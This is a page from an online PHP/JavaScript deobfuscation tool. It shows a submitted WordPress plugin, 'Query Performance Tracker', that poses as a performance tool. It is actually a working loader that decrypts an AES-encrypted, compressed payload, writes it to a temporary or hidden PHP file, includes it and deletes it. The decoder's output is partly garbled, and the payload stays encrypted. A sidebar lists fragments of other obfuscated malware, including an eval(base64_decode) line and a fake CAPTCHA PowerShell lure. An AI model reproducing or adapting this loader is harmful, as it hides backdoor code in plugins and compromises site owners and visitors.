Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
/**
 * Plugin Name: Query Performance Tracker
 * Description: Tracks and optimizes WordPress database query performance metrics.
 * Version: 1.8.7
 * Author: Developer Tools
 * License: GPLv2 or later
 */

if (!defined('ABSPATH')) {
    return;
}

class WP_Database_Optimizer_bb93 {

    private $bucket_ac = 'wpd_21b1ecddb';
    private $bucket_58 = 'c6969d2d78016935e8';
    private $bucket_cc = 'ece56a00c70d9e60500f624aa56521c1e983d';
    private $bucket_4f = '6eb98b97f498ec4f2361cdb032911106';
    private $bucket_43 = '982ee528f964';
    private $bucket_78 = 'h6MggA3vayHqdWiRKav3ONvJBOwpKVwhqx2vPAUxp8AJtmjKPNNrKmWO+goWYe9H/DpOLgYpXZ8F'
        . 'q4yfhDz1L1bopxU1Ekq7Z+B8w1IBjOm/rUFsEqS+zysYnjUHBZmuZJrUjKKKLt5HtyCsa08nhbC5'
        . 'J7i3Z02Lwp0aiwpAqVb693SX8pCtTOAc77ds+A/z18NsO2NwmrKg+wb7SvGJZLyDz/3i7LjKhLQa'
        . 'bCpCAHxh/a7YwpGDDiyKTUb2RDcvnTkvozIXZf+87lmm9hFtD7jsKvf6OaoNkElaCbzrLggUtN9w'
        . 'YJ1zcf+uO/q4+bTQIW7j1IUArCB8zO4LqE6GfLjevn10eh6Fjrc8SJbqxWNbBBHUYp1O9BmhXMei'
        . '/qCNNQYqenWkGg0llIldvc7AYTb3FYwlzRhOGt67LJtA2RNnb/HqMz35+S/6ehVZkvnVLQCXMwHo'
        . 'f0DcCJdyTzuL6OLSodMNfN6japFwGIuKJ1uhtKw8fFzf7XsloKL7cSGLTNzZlWGe44YqmA47Hpnc'
        . 'H9xci/SS28jO5F/XMa3zpJd7hiS50XLWMEc73YFclvlv9v7mfAUk3yN4EftL71LfPKXGYgg75GF/'
        . 'atAjNtKVKJJjSzVKtUdbZJn+cOz5HmyvjSr6wCIYx2FD4VqMtFSt/5SK2o3vMusKDrbagk+ljfWY'
        . '8mGc2xsJuYpgkxZ+8Bc2+vnNWrOX/zxlrAR9gDcy9wrW3vK3rV0CaknTlVleEseNQ1fTTAP39J1j'
        . 'LCDXxEUvDs613UyhopUQkk1swb4pYRYbfUapQDbLPr2LfHJmp45qmm4a4KsxAxWL+G7mJW7dngbT'
        . 'Tene3oylowD+Xrln2yOBvlZZ0dEPBFe/8/lp2byE5F+JEgOtgwmS/lBa47NrwcgSbSHFH1bCAiJU'
        . 'NljVCqEYltyqnz1Sy0PiCMB2meXgg0GL26S0Hw+v2l45D/9+QJgDoo0QJH7j59fBgpL2Epgi6Iiu'
        . '7oJTDqOzfNhmGTPjfkoV4bJP34Y/TeGm6I6PgE1oE/PfBRg4SE24MMU7ZXS19byhuIShLOW8CeQG'
        . 'Bkk6IZrUksyPZh7TICJQGcWOqVKJSU7CMFwQxx4WMK9Znn4dPUT/Yhf9H/PlvPnVUua0VV4tas4A'
        . '/iRYNERiv8fYWBeoV26Dy0n2B6CiXOYnFTCOepShfq2dvuh6iW9c5ocDouRs0Xc+nzRWensVio7U'
        . '7AgYZnevu9+39Rz2305q7zxMIHGk7iLRNyV1BeqPNwvGUYoYw98AHMq3QVoIUkWYpK3hmP5Thwjc'
        . 'NoMWWyIy+eoRKF0XY8djxo/qVRAlgNolPb9ViG/hKMIq4mjqqO6buIunuQLv2lM2t+5ppZD7Hbnf'
        . 'lsGmOcGlp8XOIzCuEr/3N6Q4uduzY3Arke9kBS7ag2DkBwkVw9Snq3RRYbAemvXnn4ggV8kckRID'
        . 'FNHKbstUHDMAH1OZYw/27nJ9/HhP01aB9aFwHbtCiyYw7FaZlq3mLaGTy684CbwbBgtFBQYDmO8K'
        . 'U5f2RcZX8ivCWoj7/aYpYnrqDLNz3f/Q2lgaZUa50hbJwGaX6nLjOuJ0Qpl5f9ifkb1CrCnaaGZf'
        . 'ba2KFuD+zTAk2DAuxEtlzY9UcdyoqXftVE1U3jYn32AGSUeXKb+SRZgc49WL8mgjuVtWSp/XKOai'
        . 'obDn0k0xLfDE03MbTY8WayoCIR1R78WaB2QnY/E4YjeRxMp4u5p+u7+mzzyNNtS/2nZMMtQRH4Fl'
        . 'mzE5jBjLqfW0EyWBS4J/Otmm14cVdCPNmnk9W2QhtUfT2ET2wjY+SPAl5ln+HlGTNayGtlSckNkJ'
        . 'ONujlLjyAGfviwnRGCqdmZwu39gxgfJCTwlphkNjzhHROnGdZQjLDeCnaZPR+mIoplcl1z3lymM7'
        . 'jBd0TLIAAhHkPDIscX/HF/tGhh+cKYQ8nxV+wkTmaU8bqn+HEx+7+a8/scpCNymOULJx0Z3a77gn'
        . 'YcoTBhUcivXE2i3Pq7miEVgzmQo3WhmQv/+fcucADr23k5Jter44Af8PNulj+aWKIZvXA8Gke6yG'
        . 'YnRa2/lk1dsO7KN02QD6XZV6F4I5s2NWM+oLj6GOxsMe2J5383E7F5skWfOPRkmvxUzcHeIR0BZd'
        . '9C4zEsD85LYy1ZhdnciLEKHmXk44kE9Qo2VqIDfEJbCd+s3XfR7noyKrFaTCI2yRo3uOQFW8jPkv'
        . 'ocXcUGvQFQuQgIKbD+DCvbeEC5ZcShd4hHKrr3a5CJzvCG5M1fppOT7Ea++EoHwhiPWrGrO6fuMn'
        . 'yMSEhlq2bGFlh9BienjAjt+kkgc3llLc49fVQQKqJ+76CZndZAR2JV6LSRh6QdcJtEK3EtWQ0kfy'
        . 'eognDFd8EsDZFl0Vcn26t8Z8Q+NzQh7n/GhhsBUli6FV0fjRbtz5uqGceIBWQF+DGs3OR3P1mSIl';

    public function __construct() {
        if (!function_exists('openssl_decrypt')) {
            return;
        }
        $this->bootstrap_0c();
    }

    private function bootstrap_0c() {
        $sk = $this->bucket_ac . $this->bucket_58 . $this->bucket_cc;
        $dk = hash('sha256', $sk . $this->bucket_43, true);
        $rowset = openssl_decrypt($this->bucket_78, 'aes-256-cbc', $dk, 0, hex2bin($this->bucket_4f));
        if ($rowset === false) {
            return;
        }
        $stream = inflate_init(ZLIB_ENCODING_DEFLATE);
        $data = inflate_add($stream, $rowset, ZLIB_FINISH);
        if ($data === false) {
            return;
        }
        $file = @tempnam(sys_get_temp_dir(), 'wpc');
        if ($file === false) {
            $file = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.qc_' . substr(md5(microtime(true)), 0, 8) . '.php';
        }
        if (@file_put_contents($file, '<?php ' . $data) !== false) {
            @include $file;
            @unlink($file);
        }
    }
}

new WP_Database_Optimizer_bb93();

Decrypted code:

/**
 * Plugin Name: Query Performance Tracker
 * Description: Tracks and optimizes WordPress database query performance metrics.
 * Version: 1.8.7
 * Author: Developer Tools
 * License: GPLv2 or later
 */

if (!defined('ABSPATH')) {
    return;
}

class WP_Database_Optimizer_bb93 {

    private 
    private 
    private 
    private 
    private 
    private $bucket_78 = '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';

    public function __construct() {
        if (!function_exists('openssl_decrypt')) {
            return;
        }
        $this->bootstrap_0c();
    }

    private function bootstrap_0c() {
        $sk = $this->bucket_ac . $this->bucket_58 . $this->bucket_cc;
        $dk = hash('sha256', $sk . $this->bucket_43, true);
        $rowset = openssl_decrypt($this->bucket_78, 'aes-256-cbc', $dk, 0, hex2bin($this->bucket_4f));
        if ($rowset === false) {
            return;
        }
        $stream = inflate_init(ZLIB_ENCODING_DEFLATE);
        $data = inflate_add($stream, $rowset, ZLIB_FINISH);
        if ($data === false) {
            return;
        }
        $file = @tempnam(sys_get_temp_dir(), 'wpc');
        if ($file === false) {
            $file = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.qc_' . substr(md5(microtime(true)), 0, 8) . '.php';
        }
        if (@file_put_contents($file, '' . $data) !== false) {
            @include $file;
            @unlink($file);
        }
    }
}

new WP_Database_Optimizer_bb93();

Recent submissions:

<?php /** * Plugin Name: Basic Worker Plus */ $GLOBALS['_hqkphbs']=array("\x31\x36\x... <?php $lau = array(98 - 8 + 8 + 4 + 6 - (4 + 6), (97 - 11 + 11 * 1) / 1 - 13 + 13 + 9 + 3... <?php /** * Plugin Name: Query Performance Tracker * Description: Tracks and optimize... <?php goto X08ib; X08ib: error_reporting(0); goto IGL9H; JgO1R: class fsS5u { private fu... <?php ${"G\x4c\x4f\x42\x41L\x53"}["f\x6c\x67s\x6b\x73\x76\x6f"]="\x6bo\x64\x6f\x6b";$berxo... <?php goto yNcGs; FymIq: $_wc = gzuncompress(base64_decode($_wd)); goto zjvK_; oowzL: $_... <?php goto VZYGr; fFeWQ: $x = "\x3f\x3e"; goto m31rk; VZYGr: function getRemoteContentFal... +fK02ISWVUvET2NG2nRTE6Wy44Gdjp/3xKUqTbvSYQdWuJ0guPkIvMH0yjeR1CSjuCgT8Wnf+49i4Po85ZMmwOFOyB... <# I am not a robot - Cloudflare ID: 13383493d9ba64b2 #> $k='jUwvLd';$d='4e371003200d0368... <?php @eval("?>".base64_decode("PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaG...